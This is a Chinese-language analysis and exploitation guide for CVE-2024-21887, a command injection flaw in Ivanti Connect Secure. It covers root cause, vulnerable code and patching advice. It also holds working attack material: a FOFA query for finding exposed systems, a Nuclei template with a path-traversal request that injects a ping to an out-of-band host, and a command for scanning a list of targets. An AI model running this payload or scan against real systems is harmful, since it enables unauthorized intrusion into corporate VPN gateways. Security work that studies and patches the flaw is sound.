CVE-2024-21887 Ivanti Connect Secure 命令注入漏洞分析
字数 1436 2025-08-24 07:48:33
Ivanti Connect Secure 命令注入漏洞(CVE-2024-21887)深度分析与利用指南
0x00 漏洞概述
漏洞编号: CVE-2024-21887
厂商: Ivanti
厂商官网: https://www.ivanti.com/ja/products/connect-secure-vpn
影响对象类型: Web应用
影响产品: Ivanti Connect Secure
影响版本: Version 9.x 和 22.x
Ivanti Connect Secure是一款提供远程和移动用户从任何支持Web的设备到企业资源的无缝、经济的SSL VPN解决方案。该漏洞允许攻击者绕过权限验证实现命令注入,从而获取目标系统权限。
0x01 漏洞影响
- 影响版本: Version 9.x 和 22.x
- 影响范围: 所有使用受影响版本的Ivanti Connect Secure系统
- 危害等级: 高危(High Severity)
- 潜在后果: 远程命令执行,系统完全控制
0x02 漏洞环境识别
识别受影响系统
使用FOFA搜索引擎进行识别:
title="Ivanti Connect Secure"
0x03 漏洞验证与利用
验证方法
使用Nuclei工具进行验证,模板如下:
id: poc
info:
name: 直接发包命令注入
author: xxx
severity: high
description: 直接发包命令注入,影响范围比较大
http:
- raw:
- |
GET /api/v1/totp/user-backup-code/../../license/keys-status/%3bping%20{{interactsh-url}}%3b HTTP/1.1
Host: {{Hostname}}
User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2224.3 Safari/537.36
Connection: close
Accept-Encoding: gzip, deflate
unsafe: false
cookie-reuse: false
matchers-condition: or
matchers:
- type: word
part: interactsh_protocol
words:
- dns
condition: or
利用命令
nuclei.exe -t .\poc.yaml -p http://127.0.0.1:8088 -iserver a.com -itoken token11 -l .\targets.txt
利用原理
构造特殊请求实现路径遍历和命令注入:
GET /api/v1/totp/user-backup-code/../../license/keys-status/%3bping%20{{interactsh-url}}%3b HTTP/1.1
其中:
%3b是分号(;)的URL编码{{interactsh-url}}是交互式服务器URL,用于验证命令执行
0x04 漏洞深度分析
漏洞根源
-
鉴权绕过机制:
- 系统对以
/api/v1/totp/user-backup-code开头的路由不进行鉴权 - 通过路径遍历
/../../可以访问其他本应受保护的路由
- 系统对以
-
命令注入点:
/api/v1/license/keys-status/<path:node_name>路由存在命令注入漏洞- 后端使用
subprocess.Popen执行命令时未对输入进行过滤
关键代码分析
- 鉴权绕过代码:
iVar8 = strncmp(pcVar7, "/api/v1/totp/user-backup-code", 0x1d);
if (iVar8 == 0) {
return true;
}
- 命令注入代码:
def get(self, url_suffix=None, node_name=None):
if request.path.startswith("/api/v1/license/keys-status"):
try:
dsinstall = os.environ.get("DSINSTALL")
if node_name == None:
node_name = ""
proc = subprocess.Popen(
dsinstall + "/perl5/bin/perl" + " " +
dsinstall + "/perl/getLicenseCapacity.pl" +
" getLicenseKeys " + node_name,
shell=True,
stdout=subprocess.PIPE,
)
漏洞利用链
- 通过
/api/v1/totp/user-backup-code路由绕过鉴权 - 使用路径遍历
/../../访问受保护的/api/v1/license/keys-status路由 - 在
node_name参数中注入恶意命令
0x05 漏洞修复建议
官方修复
厂商已发布漏洞修复程序,建议立即更新至最新版本:
https://forums.ivanti.com/s/article/KB-CVE-2023-46805-Authentication-Bypass-CVE-2024-21887-Command-Injection-for-Ivanti-Connect-Secure-and-Ivanti-Policy-Secure-Gateways?language=en_US
临时缓解措施
- 禁用或限制对
/api/v1/totp/user-backup-code路由的访问 - 实施严格的输入验证,特别是对路径遍历和命令注入的防护
- 在网络边界部署WAF,配置规则拦截可疑的路径遍历和命令注入尝试
0x06 总结
CVE-2024-21887是一个高危的未授权命令注入漏洞,结合了路径遍历和鉴权绕过技术。攻击者可以利用此漏洞在目标系统上执行任意命令,完全控制系统。建议所有使用Ivanti Connect Secure的组织立即评估系统是否受影响并采取相应措施。